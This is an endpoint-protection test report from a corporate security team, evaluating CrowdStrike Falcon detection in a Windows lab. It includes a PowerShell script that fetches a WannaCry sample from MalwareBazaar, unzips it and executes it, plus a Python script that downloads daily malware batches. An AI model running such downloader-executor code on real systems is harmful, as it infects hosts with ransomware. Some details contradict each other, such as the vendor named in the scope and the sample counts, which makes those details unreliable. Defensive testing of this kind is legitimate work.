



CROWDSTRIKE

# Infection with Script Python NOT Detected by AV

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# 1 Document Control

## 1.0.1 Version Control

WRITERS	DELIVERY DATA	PAG.	VERSION	STATUS
Filipi Pires	10/06/2020	21	0.2	Final Version

## 1.0.2 Document Distribution

NAME	POD	Project
Filipi Pires	Core Shield	Security

## 2 Introduction

The purpose of this document, it was to execute several efficiency and detection tests in our lab environment protected with an endpoint solution, provided by **CrowdStrike**, this document brings the result of the defensive security analysis with an offensive mindset performing an execution of two python scripts responsible to download some malware in our environment.

Regarding the test performed, the first objective it's to simulate targeted attacks using a python script to obtain a panoramic view of the resilience presented by the solution, with regard to the efficiency in its detection by signatures, NGAV and Machine Learning, running this script, the idea is downloading these artifacts directly on the victim's machine. The second objective consist in running this script another python script with daily malwares, provide by **MalwaresBazaar** by request using API access, in the day of this test we downloaded more than **8000 real Malwares** (8063 Malware exactly) and the third objective consisted of analyzing the detection of those same malwares (or those not detected yet) when they were changed directories, the idea here is to work with manipulation of samples (without execution).

With the final product, the front responsible for the product will have an instrument capable of guiding a process of mitigation and / or correction, as well as optimized improvement, based on the criticality of risks.

### 2.0.1 Scope

The efficiency and detection analysis had as target the Cybereason Endpoint Protection application (<https://cloud.crowdstrike.com>) in **Version:**

- **Sensor Version = 5.41.12309.0**

Installed in the windows machine **Windows 10 Pro**;

**Hostname** - **Threat-Hunting-Win10-POC**, as you can see in the picture below:




Image 1.1: Windows 10 Pro 2019 Virtual Machine

## 2.02 Project Summary

The execution of the security analysis tests of the Threat Hunting team it was carried out through the execution of 586 kind of files with many Malwares in a virtualized environment in a controlled way, simulating a real environment, together with their respective best practices of the security policies applied, the test occurred during **2 days**, without count the weekend, along with the making of this document. The intrusion test started on **October 22<sup>sd</sup>** of the year 2020 and it was completed on **October 26<sup>th</sup>** of the same year.

# 3 Running the Tests

## 3.1 Description

A virtual machine with Windows 10 operating system it was deployed to perform the appropriate tests, as well as the creation of a security policy on the management platform ([Threat-Hunting-Win10-POC](#)) e and applied to due device.

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Configuration					Prevention Policies		Default (Windows)
All Policies					Default (Windows) (Enabled)		
TYPE	SENSOR VISIBILITY	CATEGORY	Enhanced Visibility	ENABLED	DISABLED	UNAVAILABLE	Enable All
				6	0	0	
TYPE	SENSOR VISIBILITY	CATEGORY	Firmware	ENABLED	DISABLED	UNAVAILABLE	Enable All
				1	0	0	
TYPE	Next-Gen Antivirus	CATEGORY	Cloud Machine Learning	CLOUD ANTI-MALWARE		ADWARE & RUP	
				Detection: Aggressive Prevention: Aggressive		Detection: Aggressive Prevention: Aggressive	
TYPE	Next-Gen Antivirus	CATEGORY	Sensor Machine Learning	SENSOR ANTI-MALWARE			
				Detection: Aggressive Prevention: Moderate			
TYPE	Next-Gen Antivirus	CATEGORY	Quarantine	ENABLED	DISABLED	UNAVAILABLE	Enable All
				1	0	0	
TYPE	Malware Protection	CATEGORY	Execution Blocking	ENABLED	DISABLED	UNAVAILABLE	Enable All
				6	0	0	
TYPE	Behavior-Based Prevention	CATEGORY	Exploit Mitigation	ENABLED	DISABLED	UNAVAILABLE	Enable All
				5	0	0	
TYPE	Behavior-Based Prevention	CATEGORY	Ransomware	ENABLED	DISABLED	UNAVAILABLE	Enable All
				5	0	0	
TYPE	Behavior-Based Prevention	CATEGORY	Exploitation Behavior	ENABLED	DISABLED	UNAVAILABLE	Enable All
				5	0	0	

Image 1.2: Virtual Machine with Policy applied

The policy used was named **Default (Windows)**, following the best practices recommended by the manufacturer, and, for testing purposes, all due actions were based on an aggressive detection method.

TYPE	CATEGORY	CLOUD ANTI-MALWARE	ADWARE & PUP
Next-Gen Antivirus	Cloud Machine Learning	Detection: Aggressive Prevention: Aggressive	Detection: Aggressive Prevention: Aggressive
<b>Cloud Anti-malware</b> Use cloud-based machine learning informed by global analysis of executables to detect and prevent known malware for your online hosts. About levels		<b>Adware &amp; PUP</b> Use cloud-based machine learning informed by global analysis of executables to detect and prevent adware and potentially unwanted programs (PUP) for your online hosts. About levels	
	DISABLED CAUTIOUS MODERATE AGGRESSIVE EXTRA AGGRESSIVE		
Detection			
Prevention			

Image 1.3: Policy Next-Gen Antivirus (Default Policy)

Take look in this example, because we changed the **CLOUD ANTI-MALWARE** and **ADWARE & PUP** to **AGGRESSIVE MODE**.

One of the differences that we see with CrowdStrike is the non-use of Icon related of the binary.

**NOTE:** Falcon keeps a low profile and does not show a Windows system tray icon or Application in Mac. You can ensure that your newly installed sensor is running and has connected to the cloud via the Falcon interface.

### 3 Verify Registered AV

Within Windows, you can verify that Falcon Prevent is the active anti-virus product for the system.

- Locate the Security and Maintenance section of the Windows Control Panel.
- Depending on your version of Windows, it may be easiest to search for Security and maintenance.
- Review the Security Section. You may need to dismiss existing notifications and/or expand the Security Section in order to locate the Virus protection section.
- Confirm that CrowdStrike Falcon is listed under Virus protection.

**NOTE:** This step does not apply to Windows Server installations: Windows Server does not feature a control panel module that shows virus protection status.

Image 1.4: Installation binary information



# Attacking validation

The first stage of this attack it's understand about the *PowerShell* script

```
Write-Host "";
Write-Host "*****" -ForegroundColor Blue;
Write-Host "** ZUP Security Team **" -ForegroundColor Blue;
Write-Host "*****" -ForegroundColor Blue;
Write-Host "";

$url = "https://mb-api.abuse.ch/api/v1/"
$hashfile = "ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa"
$targetFolder = "C:\Users\user\Desktop\ZUPSecurityLabs\"

$postHeaders = @{
    "API-KEY" = 'HERE API provided by MalwareBazaar'
}

$postParams = "query=get_file&sha256_hash=$hashfile"

Invoke-WebRequest -Verbose -Method 'POST' -Uri $url -Body $postParams -
TimeoutSec 15 -Headers $postHeaders -MaximumRedirection 1 -OutFile (-
join($hashfile, ".zip"))
Invoke-WebRequest -Verbose -Method 'POST' -Uri $url -Body $postParams -
TimeoutSec 15 -Headers $postHeaders -MaximumRedirection 1 -OutFile "$hashfile"

$response = Invoke-WebRequest -Verbose -Method 'POST' -Uri $url -Body $postParams -
TimeoutSec 15 -Headers $postHeaders -MaximumRedirection 1
$filename = $response.Headers.'Content-Disposition' -
replace '.*\bfilename=(.)(?: |$)', '$1'
$outDir = Convert-Path $pwd
[IO.File]::WriteAllBytes("$targetFolder$hashfile", $response.Content)

$7ZipPath = "C:\Program Files\7-Zip\7z.exe"
$zipFile = "$hashfile"
$zipFilePassword = "infected"
$command = "& $7ZipPath e -p$zipFilePassword $zipFile"
iex $command

invoke-expression "& '$targetFolder$hashfile.exe'"
```

This *shellscript* when execute on victim machine, it uses the **Invoke-WebRequest** to request MalwareBazaar website using API KEY to download any kind of malware from him database and extract the malware that is inside the ZIP file, after that it call *invoke-expression* to execute the malware inside the victim machine.

So now, let's do the application of all security policies in both of environments.

### 3.2 First Test

The first stage of the tests was through of the execution of **python script responsible** to download one Malware in a virtualized environment, that it was uploaded from public repository known and maintained by the security community called MalwareBazaar (<https://bazaar.abuse.ch/>);

The purpose of this test, it was to simulate the same process as a user receiving a python script and performing this script and after that, this known malware should executed on own our environment, but, it was possible to verify that CrowdStrike Security Endpoint there were **didn't detect any malware** when it was downloaded to the victim machine.

All those malwares are known and should be detected by signature, **but they didn't**.

**Regarding some with the vendor: CrowdStrike doesn't work based on signature, this is one of the reasons, low consumption of computational resources**




Image 1.5: Malware known, undetected by signature

Machine learning (ML) is used for pre-execution prevention. Falcon Host employs sophisticated machine learning algorithms that can analyze millions of file characteristics to determine if a file is malicious. **This signature-less technology enables Falcon Host to detect and block both known and unknown malware.** CrowdStrike ML technology has been independently tested and furthermore, it was provided to VirusTotal to contribute to the security community for the benefit of all. For more information about CrowdStrike ML, read the blog, "CrowdStrike Machine Learning and VirusTotal."

Reference: <https://www.crowdstrike.com/resources/data-sheets/preventing-malware-beyond/>

Other References: <https://www.crowdstrike.com/press-releases/crowdstrikes-machine-learning-engine-becomes-first-signature-less-engine-integrated-virustotal/>



As you can see, after the download, we performing the malicious malware known like **Ransom.BlackKingdom** in manually way and it was block by CrowdStrike platform.




Image 1.8: Python Script with Ransomware blocked

After that, we executed the same test, now using two very known Ransomware's, both of them known as **WannaCry Samples**.

"ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa"

"07c44729e2c570b37db695323249474831f5861d45318bf49ccf5d2f5c8ea1cd"

So now, we going to execute the second tests using the same idea perform a python script with malicious hash provide by **MalwaresBazaar**.




Image 1.6: WannaCry Malicious Downloaded in our machine

All those malwares are known and should be detected by signature, but they didn't.

**Regarding some with the vendor: CrowdStrike doesn't work based on signature, this is one of the reasons, low consumption of computational resources**

We performing the malicious malware known manually way and it was block by CrowdStrike platform.

### 3.3 Second Test

The second test we used another **python script**, responsible to download the daily Malwares batches collected by Malware Bazaar as you can see below

```
#!/usr/bin/env python3
from datetime import date, timedelta
import urllib.request
import sys
import pyzipper

from colorama import init
init()
from colorama import Fore, Back, Style
print(Fore.WHITE + '*****')
print(Fore.WHITE + '*****ZUP Security Labs*****')
print(Fore.WHITE + '*****\n')


ZIP_PASSWORD = b'infected'
print(sys.argv)
if len(sys.argv) == 2:
    datefile = sys.argv[1]
else:
    datefile = (date.today() - timedelta(days=1)).strftime("%Y-%m-%d")
print("\n")
print("Using date: %s" % datefile)
print("Downloading https://mb-api.abuse.ch/downloads/%s.zip Daily Malware Batches...\n" % datefile)
response = urllib.request.urlopen('https://mb-api.abuse.ch/downloads/%s.zip' % datefile)
print("Download complete!\n")
open('%s.zip' % datefile, 'wb').write(response.read())
print("Saving Daily Malware Batches... complete!\n")

with pyzipper.AESZipFile("%s.zip" % datefile) as zf:
    zf.pwd = ZIP_PASSWORD
    my_secrets = zf.extractall(".")
    print("Daily Malware Batches unpacked!")
```



### 3.4 Third Test

In this third stage of the tests was through the transfer of folders to another directory within the same machine, the purpose of this test was to simulate a transfer of files within the same environment.



**Image 1.13:** NEW FOLDER (CrowdStrike) – Creating New Folder

When a new file is generated on the disk, soon we should have a new entry in a block of that disk and in theory the antivirus should take some action (considering that it has the real time enabled), we could define it as a file manipulation (still not running) where the endpoint protection is already necessary, considering that a new directory was created, soon we would have a new repository with several hashes inside to be examined.







## 4 Impact

At the end of this test, it was possible to verify that there many malwares that, when executed inside the environment, may perform an infection.

- **CrowdStrike didn't work with Signature based;**
  - Which makes our environment very vulnerable;
- **Dependency of the real time engines;**
  - Which may be a risk as noted in our test;
- **After the first extraction, no one know malware were detected;**
  - When it comes a major malware infection we can have several types of attack vectors, so it is very important we have an efficient detection.
- **Malicious EXE files Not Detected**
  - PE files not detected even though malicious; it was not detected.
- **Malicious ELF files Not Detected**
  - *ELF* file not detected even though malicious; In our test environment, wouldn't be dangerous, because our environment it was Windows, but should be block but it was not detected.
- **After second test no one know malware were detected;**
  - After this moviment, no one malware it was detected.

## 5 Corrective Actions

As we mentioned before, the idea it was execute test in many malwares, and this case, for this reason to be totally known the following actions will be taken to improve the protection environment of our assets:

- This report should be sent to **CrowdStrike Team** to validate with them how the detection flow for known malware works, and why all those malwares didn't were detected;
- Validate the performance of NGAV, Machine Learning and other components, regarding this type of detection;
- The best practices of the configurations will be revalidated with the CrowdStrike team;